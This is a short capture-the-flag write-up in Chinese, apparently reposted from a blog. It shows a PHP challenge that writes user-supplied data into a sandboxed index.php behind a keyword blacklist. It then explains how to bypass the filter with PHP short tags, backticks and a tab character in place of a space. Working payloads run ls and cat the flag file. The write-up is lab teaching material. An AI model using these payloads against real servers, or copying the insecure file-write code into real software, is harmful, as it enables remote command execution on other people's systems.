<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
直接給一段PHP代碼,check函式過濾輸入的內容,過濾了很多關鍵字符,action引數為pwd時列印當前路徑,action為upload時data會過濾并寫入到index.php中
?action=pwd看下當前路徑

雖然過濾了php字符但可以用php短標簽繞過<?=?> 反引號沒有過濾可以直接寫入執行命令
payload 空格被過濾了用%09代替
?action=upload&data=<?=`ls%09/`?>
訪問index.php可以看到命令執行結果 可疑檔案flllllll1112222222lag

payload
?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
訪問index得到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/291176.html
標籤:其他
